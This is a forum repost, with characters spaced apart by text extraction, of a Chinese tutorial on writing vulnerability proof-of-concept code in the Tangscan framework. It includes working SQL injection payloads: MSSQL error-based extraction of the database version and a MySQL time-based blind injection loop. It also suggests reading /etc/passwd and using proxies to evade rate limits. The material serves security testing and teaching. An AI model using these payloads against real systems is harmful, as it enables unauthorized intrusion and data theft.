搜索

[28] 2019-11-17_怎样自己动手写POC

文档创建者：s7ckTeam
浏览次数：10
最后更新：2025-01-17
2019-11-17_怎样自己动手写POC 怎 样 自 己 动 手 写 P O C A n d y   7 8 9 0 安 全 攻 防 实 验 室   2 0 1 9 - 1 1 - 1 7 前 言 前 言   善 于 编 写 高 质 量 P O C ， 有 助 于 我 们 更 好 地 发 现 和 利 用 漏 洞 ， 再 结 合 爬 虫 探 测 程 序 ， 就 可 以 构 建 一 个 比 较 完 善 的 漏 洞 利 用 框 架 。 编 写 P O C 的 门 槛 并 不 是 很 高 ， 关 键 还 是 在 于 对 漏 洞 本 身 的 理 解 ， 只 要 有 兴 趣 ， 再 加 点 技 巧 ， 你 就 会 发 现 其 实 都 是 套 路 。 什 么 是 什 么 是 P O C P O C 概 念 概 念   P O C （ P r o o f   o f   C o n c e p t ） ， 直 译 为 “ 概 念 证 明 ” ， 百 度 百 科 的 权 威 定 义 如 下 ： “ 概 念 证 明 是 证 实 发 布 的 漏 洞 真 实 性 的 测 试 代 码 ”   它 可 能 仅 仅 只 是 一 小 段 代 码 ， 功 能 也 比 较 简 单 ， 只 要 能 够 用 来 验 证 某 一 个 或 者 一 类 漏 洞 真 实 存 在 即 可 。 P O C 与 与 E X P 的 区 别 的 区 别   很 多 人 容 易 把 这 两 个 概 念 弄 混 淆 ， 两 者 从 定 义 上 讲 是 有 区 别 的 ： 「 「 P O C 」 」   P O C 可 以 看 成 是 一 段 验 证 的 代 码 ， 就 像 是 一 个 证 据 ， 能 够 证 明 漏 洞 的 真 实 性 。 「 「 E X P 」 」   E X P （ E x p l o i t ） ： 中 文 直 译 为 “ 漏 洞 利 用 ” ， 简 单 点 讲 ， 就 是 通 过 E X P 能 够 实 现 漏 洞 的 利 用 价 值 。 比 如 某 个 系 统 存 在 S Q L 注 入 漏 洞 ， 我 们 可 以 编 写 E X P 来 提 取 数 据 库 版 本 信 息 等 。   但 是 有 时 两 者 也 不 太 好 区 分 。 我 们 也 可 以 在 P O C 中 加 入 E x p l o i t 的 代 码 ， 现 在 很 多 开 源 的 P O C 框 架 其 实 就 是 这 样 做 的 ， 比 如 下 面 会 讲 到 的 几 个 框 架 。 典 型 典 型 P O C 框 架 有 哪 些 框 架 有 哪 些   P O C 框 架 可 以 对 大 量 P O C 进 行 管 理 与 调 度 ， 提 供 了 统 一 的 编 程 规 范 与 接 口 ， 是 编 写 P O C 很 好 的 帮 手 。 我 们 只 需 要 按 照 框 架 自 定 义 的 格 式 写 好 P O C ， 然 后 放 在 框 架 中 运 行 即 可 。 目 前 国 内 有 很 多 非 常 优 秀 框 架 ， 这 里 就 介 绍 其 中 的 几 款 ： P o c s u i t e   P o c s u i t e 框 架 现 为 知 道 创 宇 S e e b u g 平 台 通 用 的 漏 洞 验 证 框 架 ， 使 用 P y t h o n 编 写 P O C 。 可 以 提 交 P O C 换 k b ， k b 可 以 用 来 兑 换 现 金 ， 挣 点 零 花 钱 还 是 相 当 不 错 的 。 老 司 机 们 可 能 听 过 S e b u g ， 那 是 S e e b u g 的 前 身 ， 2 0 1 6 年 S e b u g 收 购 了 另 一 个 优 秀 框 架 B e e b e e t o 后 ， 更 名 为 S e e b u g 。 g i t h u b 地 址 ： k n o w n s e c / P o c s u i t e T a n g s c a n   T a n g s c a n （ 唐 朝 扫 描 器 ） 是 w o o y u n 社 区 的 官 方 框 架 ， 使 用 P y t h o n 编 写 P O C 。 可 以 提 交 P O C 换 汤 圆 ， 参 与 现 金 分 红 。 T a n g s c a n 社 区 已 经 关 闭 ， 不 知 道 还 会 不 会 开 ， 里 面 的 汤 圆 还 没 取 出 来 呢 。 g i t h u b 地 址 ： h t t p s : / / g i t h u b . c o m / W o o Y u n / T a n g S c a n B u g s c a n   B u g s c a n 是 四 叶 草 的 官 方 框 架 ， 使 用 P y t h o n 编 写 P O C 。 提 交 P O C 插 件 获 取 r a n k   奖 励 ， 可 兑 换 实 物 奖 励 ， 奖 品 还 是 蛮 丰 富 的 。 S D K 下 载 地 址 ： h t t p : / / i m g . b u g s c a n . n e t / b i n / s d k . z i p   还 有 其 他 一 些 优 秀 的 框 架 没 有 介 绍 到 。 大 家 可 以 选 择 其 中 任 意 一 个 来 使 用 ， 都 非 常 不 错 。 当 然 如 果 有 兴 趣 ， 也 可 以 自 己 写 个 框 架 ， 过 程 并 不 复 杂 。 需 要 准 备 些 什 么 需 要 准 备 些 什 么 编 写 编 写 P O C 需 要 做 一 些 基 础 性 的 工 作 需 要 做 一 些 基 础 性 的 工 作 。 构 建 构 建 P O C 框 架 框 架   可 以 直 接 选 择 上 面 开 源 的 P O C 框 架 ， 也 可 以 自 己 写 框 架 。 选 好 框 架 后 ， 需 要 熟 练 掌 握 框 架 的 代 码 规 范 和 接 口 ， 这 些 都 是 编 写 高 质 量 P O C 的 基 础 。 当 然 了 ， 这 个 不 是 必 须 的 步 骤 ， 我 们 也 可 以 不 使 用 框 架 而 直 接 编 写 P O C ， 但 是 不 建 议 这 么 做 。 熟 悉 漏 洞 详 情 熟 悉 漏 洞 详 情   不 管 是 自 己 挖 的 漏 洞 ， 还 是 公 开 漏 洞 ， 在 写 P O C 之 前 ， 首 先 需 要 把 漏 洞 详 情 搞 清 楚 。 对 于 一 些 开 源 C M S ， 可 以 到 官 网 或 者 g i t h u b 上 找 到 对 应 版 本 的 源 码 ， 搭 建 模 拟 环 境 进 行 研 究 ； 有 些 不 开 源 的 漏 洞 ， 可 以 在 网 上 找 一 些 案 例 进 行 黑 盒 测 试 ， 复 原 漏 洞 产 生 过 程 （ 别 做 破 坏 性 试 验 ） 。 最 好 再 撰 写 一 份 属 于 自 己 的 漏 洞 分 析 报 告 ， 这 样 可 以 加 深 对 漏 洞 的 理 解 ， 为 编 写 P O C 打 下 更 坚 实 的 基 础 。 构 建 漏 洞 靶 场 构 建 漏 洞 靶 场   调 试 P O C 最 好 还 是 搭 建 模 拟 环 境 ， 一 般 可 以 利 用 虚 拟 机 或 者 D o c k e r 来 实 现 。 不 到 万 不 得 已 ， 非 常 不 建 议 大 家 直 接 利 用 互 联 网 上 的 W e b 应 用 来 调 试 P O C ， 以 免 对 目 标 造 成 破 坏 。 选 择 编 程 语 言 选 择 编 程 语 言   编 写 P O C ， 首 推 语 言 当 然 是 P y t h o n 了 ， 原 因 很 简 单 — — 好 用 ， P y t h o n 提 供 的 强 大 类 库 可 以 让 我 们 将 主 要 精 力 都 放 在 具 体 漏 洞 研 究 上 ， 而 不 用 去 纠 结 诸 如 如 何 去 实 现 H T M L 解 析 、 H T T P 发 送 等 辅 助 功 能 。 常 用 到 的 P y t h o n 库 如 下 ： u r l l i b 2 :   发 送 H T T P / H T T P S 请 求 r e q u e s t s : 更 “ 高 级 ” 的 u r l l i b 2 库 r e ： 正 则 表 达 式 r a n d o m ： 生 成 随 机 数 b a s e 6 4 ： b a s e 6 4 编 码 h a s h l i b : 常 用 来 计 算 m d 5 值 t i m e ： 用 来 统 计 访 问 时 间 延 迟 … …   当 然 语 言 只 是 工 具 载 体 ， 并 不 局 限 于 P y t h o n 。 原 则 上 你 想 用 什 么 语 言 都 可 以 ， 建 议 首 选 那 种 外 部 条 件 依 赖 少 、 简 单 好 用 而 且 自 己 也 比
较 熟 悉 的 语 言 。 需 要 注 意 些 什 么 需 要 注 意 些 什 么   编 写 P O C 比 较 自 由 ， 但 是 想 实 现 一 个 高 质 量 的 P O C ， 就 要 格 外 注 意 代 码 的 规 范 性 。 降 低 误 报 率 降 低 误 报 率   尽 量 选 择 一 些 “ 特 殊 ” 的 字 符 串 作 为 判 断 漏 洞 的 特 征 值 。 比 如 我 们 编 写 验 证 S Q L 注 入 漏 洞 的 P O C 时 ， 就 可 以 充 分 利 用 数 据 库 的 特 性 ： M y S Q L   M y S Q L 内 置 了 m d 5 函 数 ， 可 以 用 其 来 输 出 某 个 数 字 的 m d 5 值 ： s e l e c t   m d 5 ( 1 ) ;   但 是 固 定 计 算 某 个 数 字 的 m d 5 值 ， 特 征 还 是 有 点 明 显 ， 加 上 随 机 数 ： # 生 成 随 机 数 r a n d _ n u m = r a n d o m . r a n d i n t ( 0 , 1 0 0 0 ) 计 算 m d 5 值 h a s h _ f l a g = h a s h l i b . m d 5 ( s t r ( r a n d _ n u m ) ) . h e x d i g e s t ( ) … # 利 用 注 入 计 算 m d 5 … s e l e c t   m d 5 ( { n u m } ) … . f o r m a t ( n u m = r a n d _ n u m ) … M S S Q L M S S Q L 在 2 0 0 5 版 本 以 后 ， 提 供 了 计 算 m d 5 值 的 内 置 函 数 ： s e l e c t   s y s . f n _ v a r b i n t o h e x s t r ( h a s h b y t e s ( ' M D 5 ' , ' 1 ' ) ) ; O r a c l e O r a c l e 实 现 m d 5 比 较 复 杂 ， 可 以 利 用 C H R 编 码 ： s e l e c t   C H R ( 9 7 )   | |   C H R ( 9 9 )   | |   C H R ( 1 2 0 )   | |   C H R ( 1 1 8 )   | |   C H R ( 9 9 )   | |   C H R ( 9 8 )   | |   C H R ( 1 1 0 )   f r o m   d u a l 效 果 相 当 于 ： 效 果 相 当 于 ： s e l e c t   ' a c x v c b n '   f r o m   d u a l 也 可 以 结 合 随 机 数 ： 也 可 以 结 合 随 机 数 ： R a n d _ s t r   = r a n d o m . s a m p l e ( " 1 2 3 4 7 8 9 a c i o e p L F T Q V B U S E u s " , 7 ) k e y w o r d = ' ' . j o i n ( R a n d _ s t r ) v a l u e = [ ' C H R ( ' + s t r ( o r d ( x ) ) + ' ) | | '   f o r   x   i n   k e y w o r d ] v a l u e = ' ' . j o i n ( v a l u e ) . r s t r i p ( ' | | ' ) 再 比 如 任 意 文 件 读 取 漏 洞 ， 在 读 取 系 统 文 件 时 ， 要 考 虑 到 再 比 如 任 意 文 件 读 取 漏 洞 ， 在 读 取 系 统 文 件 时 ， 要 考 虑 到 W i n d o w s 和 和 L i n u x 的 差 异 性 ， 比 如 ： 的 差 异 性 ， 比 如 ： W i n d o w s   读 取 C : / W i n d o w s / S y s t e m 3 2 / d r i v e r s / e t c / h o s t s L i n u x   读 取 / e t c / p a s s w d 其 他 类 型 的 漏 洞 也 要 具 体 分 析 ， 这 里 不 再 赘 述 。 不 要 带 有 破 坏 性 执 行 P O C 不 能 对 目 标 造 成 破 坏 ， 只 要 验 证 漏 洞 存 在 就 可 以 了 。 尽 可 能 降 低 访 问 频 率   比 如 盲 注 漏 洞 利 用 ， 需 要 不 断 向 服 务 器 发 包 ， 在 编 写 P O C 时 ， 应 该 适 当 减 少 发 包 频 率 ， 可 以 s l e e p ， 也 可 以 考 虑 在 自 己 的 P O C 框 架 中 加 入 代 理 资 源 。 P O C 实 例 实 例   说 了 这 么 多 ， 下 面 就 来 实 战 一 把 。 这 里 我 们 就 选 择 T a n g s c a n 框 架 吧 ， 其 他 的 框 架 格 式 也 差 不 多 。 T a n g s c a n 框 架 框 架 P O C 文 档 的 结 构 如 下 ： 文 档 的 结 构 如 下 ： # !   / u s r / b i n / e n v   p y t h o n #   - * -   c o d i n g :   u t f - 8   - * - f r o m   m o d u l e s . e x p l o i t   i m p o r t   T S E x p l o i t c l a s s   T a n g S c a n ( T S E x p l o i t ) :       " " "       类 名 必 须 是 T a n g S c a n ， 而 且 需 要 继 承 于 T S E x p l o i t       " " "       d e f   _ _ i n i t _ _ ( s e l f ) :               s u p e r ( s e l f . _ _ c l a s s _ _ ,   s e l f ) . _ _ i n i t _ _ ( )               s e l f . i n f o   =   {                       " n a m e " :   " " ,     #   该 P O C 的 名 称                       " p r o d u c t " :   " " ,     #   该 P O C 所 针 对 的 应 用 名 称 ,   严 格 按 照   t a n g s c a n   主 页 上 的 进 行 填 写                       " p r o d u c t _ v e r s i o n " :   " " ,     #   应 用 的 版 本 号                       " d e s c " :   " " "                       " " " ,     #   该 P O C 的 描 述                       " l i c e n s e " :   s e l f . l i c e n s e . T S ,     #   P O C 的 版 权 信 息                       " a u t h o r " :   [ " " ] ,     #   编 写 P O C 者                       " r e f " :   [                               { s e l f . r e f . u r l :   " " } ,     #   引 用 的 u r l                               { s e l f . r e f . w o o y u n :   " " } ,     #   w o o y u n 案 例                       ] ,
                      " t y p e " :   s e l f . t y p e . i n j e c t i o n ,     #   漏 洞 类 型                       " s e v e r i t y " :   s e l f . s e v e r i t y . h i g h ,     #   漏 洞 等 级                       " p r i v i l e g e d " :   F a l s e ,     #   是 否 需 要 登 录                       " d i s c l o s u r e _ d a t e " :   " 2 0 1 4 - 0 9 - 1 7 " ,     #   漏 洞 公 开 时 间                       " c r e a t e _ d a t e " :   " 2 0 1 4 - 0 9 - 1 7 " ,     #   P O C   创 建 时 间               }               s e l f . r e g i s t e r _ o p t i o n ( {                       " u r l " :   {     #   P O C   的 参 数   u r l                               " d e f a u l t " :   " " ,     #   参 数 的 默 认 值                               " r e q u i r e d " :   T r u e ,     #   参 数 是 否 必 须                               " c h o i c e s " :   [ ] ,     #   参 数 的 可 选 值                               " c o n v e r t " :   s e l f . c o n v e r t . u r l _ f i e l d ,     #   参 数 的 转 换 函 数                               " d e s c " :   " "     #   参 数 的 描 述                       }               } )               s e l f . r e g i s t e r _ r e s u l t ( {                       " s t a t u s " :   F a l s e ,     #   P O C   的 返 回 状 态                       " d a t a " :   {                       } ,     #   P O C   的 返 回 数 据                       " d e s c r i p t i o n " :   " " ,     #   P O C   返 回 对 人 类 良 好 的 信 息                       " e r r o r " :   " "     #   P O C   执 行 失 败 的 原 因               } )       d e f   v e r i f y ( s e l f ) :               " " "               验 证 类 型 ， 尽 量 不 触 发 w a f 规 则               : r e t u r n :               " " "               p a s s       d e f   e x p l o i t ( s e l f ) :               " " "               攻 击 类 型               : r e t u r n :               " " "               p a s s i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' :       f r o m   m o d u l e s . m a i n   i m p o r t   m a i n       m a i n ( T a n g S c a n ( ) )   有 了 模 板 ， 我 们 现 在 需 要 做 的 其 实 就 是 “ 填 空 ” 。 最 主 要 的 就 是 实 现 v e r i f y 和 e x p l o i t 两 个 函 数 （ T a n g s c a n 将 P O C 与 E X P 集 合 在 一 起 了 ） 。 也 可 以 只 完 成 其 中 一 个 函 数 ， 另 外 一 个 做 如 下 处 理 ： d e f   e x p l o i t ( s e l f ) :                 r e t u r n   s e l f . v e r i f y ( )   下 面 就 选 取 S Q L 注 入 漏 洞 P O C 编 写 的 例 子 ， 来 大 概 描 述 下 P O C 编 写 的 一 些 常 用 技 巧 。 S Q L 注 入 大 致 上 可 以 分 为 非 盲 注 和 盲 注 两 大 类 ： 非 盲 注 类 型 非 盲 注 类 型   非 盲 注 注 入 也 有 很 多 种 ， 比 如 回 显 报 错 、 U n i o n 查 询 等 。 这 里 编 写 回 显 报 错 注 入 的 P O C 代 码 ， 其 他 类 型 的 编 写 技 巧 比 较 类 似 。 回 显 报 错 注 入 可 以 直 接 从 报 错 信 息 中 读 取 数 据 。 构 造 计 算 m d 5 值 的 p a y l o a d 作 为 v e r i f y 函 数 ， 利 用 S Q L 提 取 数 据 库 版 本 信 息 的 p a y l o a d 作 为 e x p l o i t 函 数 。 下 面 是 一 个 M S S Q L 报 错 回 显 注 入 的 例 子 ： d e f   v e r i f y ( s e l f ) :               r a n d _ n u m = r a n d o m . r a n d i n t ( 0 , 1 0 0 0 )               h a s h _ f l a g = h a s h l i b . m d 5 ( s t r ( r a n d _ n u m ) ) . h e x d i g e s t ( )               p a y l o a d = ( " 1 '   a n d   s y s . f n _ v a r b i n t o h e x s t r ( h a s h b y t e s ( ' M D 5 ' ,   ' { n u m } ' ) ) = 0   a n d   ' 1 ' = ' 1 " ) . f o r m a t ( n u m = r a n d _ n u m )               e x p _ u r l = " { d o m a i n } / x x x x ? s q l = { p y } " . f o r m a t ( d o m a i n = s e l f . o p t i o n . u r l , p y = p a y l o a d )               t r y :                       r e s p o n s e   =   r e q u e s t s . g e t ( u r l = e x p _ u r l ,   t i m e o u t = 1 5 ,   v e r i f y = F a l s e )               e x c e p t   E x c e p t i o n ,   e :                       s e l f . r e s u l t . e r r o r   =   s t r ( e )                       r e t u r n               i f   h a s h _ f l a g   n o t   i n   r e s p o n s e . c o n t e n t :                       s e l f . r e s u l t . s t a t u s   =   F a l s e                       r e t u r n               s e l f . r e s u l t . s t a t u s   =   T r u e               s e l f . r e s u l t . d e s c r i p t i o n   =   " 目 标   { u r l }   存 在 S Q L 注 入 漏 洞 , n t 测 试 链 接 :   { e u r l } " . f o r m a t (                       u r l = s e l f . o p t i o n . u r l ,                       e u r l = e x p _ u r l               )
d e f   e x p l o i t ( s e l f ) :       e x p _ u r l = " { d o m a i n } / x x x x ? s q l = a '   a n d 1 = C O N V E R T ( i n t , C H A R ( 1 2 6 ) % 2 B C H A R ( 1 2 6 ) % 2 B C H A R ( 1 2 6 ) % 2 B @ @ v e r s i o n % 2 B C H A R ( 1 2 6 ) % 2 B C H A R ( 1 2 6 ) % 2 B C H A R ( 1 2 6 ) ) - - " . f o r m a t ( d o m a i n = s e l f . o p t i o n . u r l . r s t r i p ( ' / ' ) )       t r y :               r e s p o n s e   =   r e q u e s t s . g e t ( u r l = e x p _ u r l ,   t i m e o u t = 1 5 ,   v e r i f y = F a l s e )               r e s u l t   =   r e . f i n d a l l ( r ' ~ ~ ~ ( . * ? ) ~ ~ ~ ' ,   r e s p o n s e . c o n t e n t ,   r e . S   |   r e . I )               e x c e p t   E x c e p t i o n ,   e :                       s e l f . r e s u l t . e r r o r   =   s t r ( e )                       r e t u r n       i f   l e n ( r e s u l t )   = =   0 :                       s e l f . r e s u l t . s t a t u s   =   F a l s e                       r e t u r n       s e l f . r e s u l t . s t a t u s   =   T r u e       s e l f . r e s u l t . d e s c r i p t i o n   =   " 目 标   { u r l }   存 在 S Q L 注 入 漏 洞 ,   获 取 到 的 数 据 库 版 本 信 息 :   { v e r s i o n } n t 测 试 链 接 :   { e u r l } " . f o r m a t (               u r l = s e l f . o p t i o n . u r l ,               v e r s i o n = r e s u l t [ 0 ] ,               e u r l = e x p _ u r l       )   上 面 的 e x p l o i t 函 数 利 用 ’ ~ ’ 将 版 本 信 息 包 住 ， 是 为 了 方 便 利 用 正 则 表 达 式 提 取 ， 并 且 在 p a y l o a d 中 进 行 了 编 码 处 理 ， 这 种 方 式 在 方 便 我 们 提 取 信 息 的 同 时 ， 也 起 到 了 降 低 误 报 率 的 作 用 ， 在 编 写 P O C 的 过 程 中 经 常 用 到 。 盲 注 类 型 盲 注 类 型   盲 注 类 型 也 有 好 几 种 ， 比 如 B o o l e n 盲 注 、 时 间 延 迟 注 入 等 。 盲 注 需 要 不 断 提 交 请 求 ， 从 而 获 取 完 整 的 数 据 信 息 。 这 里 以 M y S Q L 时 间 延 迟 注 入 类 型 为 例 ： d e f   v e r i f y ( s e l f ) :               r e t u r n   s e l f . e x p l o i t ( )       d e f   e x p l o i t ( s e l f ) :               v e r   =   " "               v e r _ l e n   =   0               e x p _ u r l   =   ( " { d o m a i n } / x x x x ? s q l = " . f o r m a t ( d o m a i n = s e l f . o p t i o n . u r l ) )               p a y l o a d s   =   [ ' @ ' , ' _ ' , ' . ' ,   ' - ' ,   ' 1 ' ,   ' 2 ' ,   ' 3 ' ,   ' 4 ' ,   ' 5 ' ,   ' 6 ' ,   ' 7 ' ,   ' 8 ' ,   ' 9 ' ,   ' 0 ' ] +   l i s t ( s t r i n g . a s c i i _ l o w e r c a s e )               l   =   " 1 '   A N D   ( S E L E C T   *   F R O M   ( S E L E C T ( i f ( l e n g t h ( s u b s t r i n g ( v e r s i o n ( ) , 1 ) ) = % s , s l e e p ( 8 ) , 0 ) ) ) a )   A N D   ' a ' = ' a "               s   =   " 1 '   A N D   ( S E L E C T   *   F R O M   ( S E L E C T ( i f ( a s c i i ( l o w e r ( m i d ( v e r s i o n ( ) , % s , 1 ) ) ) = % s , s l e e p ( 6 ) , 0 ) ) ) a )   A N D   ' a ' = ' a "               # 获 取 长 度               f o r   x   i n   r a n g e ( 1 ,   3 0 ) :                       s t a r t   =   t i m e . t i m e ( )                       p y = l   %   s t r ( x )                       v u l u r l = e x p _ u r l + p y                       t r y :                               r e s p o n s e   =   r e q u e s t s . g e t ( v u l u r l , t i m e o u t = 1 5 ,   v e r i f y = F a l s e )                               # 限 制 访 问 速 度                               t i m e . s l e e p ( 0 . 5 )                               i f   r e s p o n s e . s t a t u s _ c o d e   ! =   2 0 0 :                                       s e l f . r e s u l t . s t a t u s   =   F a l s e                                       r e t u r n                       e x c e p t   E x c e p t i o n , e :                               s e l f . r e s u l t . e r r o r   =   s t r ( e )                               r e t u r n                       e n d   =   t i m e . t i m e ( )                       i f   ( e n d   -   s t a r t )   > = 8 :                               v e r _ l e n   =   x                               b r e a k               i f   v e r _ l e n   = =   0 :                       s e l f . r e s u l t . s t a t u s   =   F a l s e                       r e t u r n               # 移 位 获 取 数 据               f o r   x   i n   r a n g e ( 1 ,   v e r _ l e n + 1 ) :                       f o r   p a y l o a d   i n   p a y l o a d s :                               s t a r t   =   t i m e . t i m e ( )                               p y =   s   %   ( s t r ( x ) ,   s t r ( o r d ( p a y l o a d ) ) )                               v u l u r l = e x p _ u r l + p y                               t r y :                                       r e s p o n s e   =   r e q u e s t s . g e t ( v u l u r l ,   t i m e o u t = 1 5 ,   v e r i f y = F a l s e )                                       # 限 制 请 求 速 率
                                      t i m e . s l e e p ( 0 . 5 )                                       i f   r e s p o n s e . s t a t u s _ c o d e   ! =   2 0 0 :                                               s e l f . r e s u l t . s t a t u s   =   F a l s e                                               r e t u r n                               e x c e p t   E x c e p t i o n , e :                                       s e l f . r e s u l t . e r r o r   =   s t r ( e )                                       r e t u r n                               e n d   =   t i m e . t i m e ( )                               i f   ( e n d   -   s t a r t )   > = 6 :                                       v e r   =   v e r   +   p a y l o a d               # 检 查 长 度               i f   l e n ( v e r ) ! = v e r _ l e n :                       s e l f . r e s u l t . s t a t u s   =   F a l s e                       r e t u r n               s e l f . r e s u l t . s t a t u s   =   T r u e               s e l f . r e s u l t . d e s c r i p t i o n   =   " 目 标   { u r l }   存 在 S Q L 注 入 漏 洞 ,   获 取 到 的 当 前 数 据 库 版 本 为 ： { d b _ v e r } " . f o r m a t (                       u r l = s e l f . o p t i o n . u r l ,                       d b _ v e r = v e r               )   上 面 的 e x p l o i t 函 数 采 用 移 位 方 式 来 获 取 数 据 库 版 本 信 息 ， 还 可 以 利 用 二 分 法 等 更 高 效 的 方 法 来 实 现 ， 大 家 可 以 尝 试 编 写 。   为 了 防 止 同 一 I P 地 址 频 繁 访 问 目 标 U R L ， 代 码 中 通 过 s l e e p 方 式 来 限 制 访 问 速 度 ， 更 好 的 方 法 是 构 建 自 己 的 代 理 网 络 ， 使 用 代 理 方 式 来 实 现 ， 感 兴 趣 的 可 以 自 己 研 究 下 ， 这 里 不 多 讲 。 后 记 后 记   上 面 以 S Q L 注 入 漏 洞 为 例 编 写 了 两 个 比 较 有 代 表 性 的 P O C 样 本 ， 其 他 类 型 的 W e b 漏 洞 的 编 写 技 巧 也 有 相 似 之 处 ， 以 后 如 果 有 时 间 再 继 续 写 吧 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理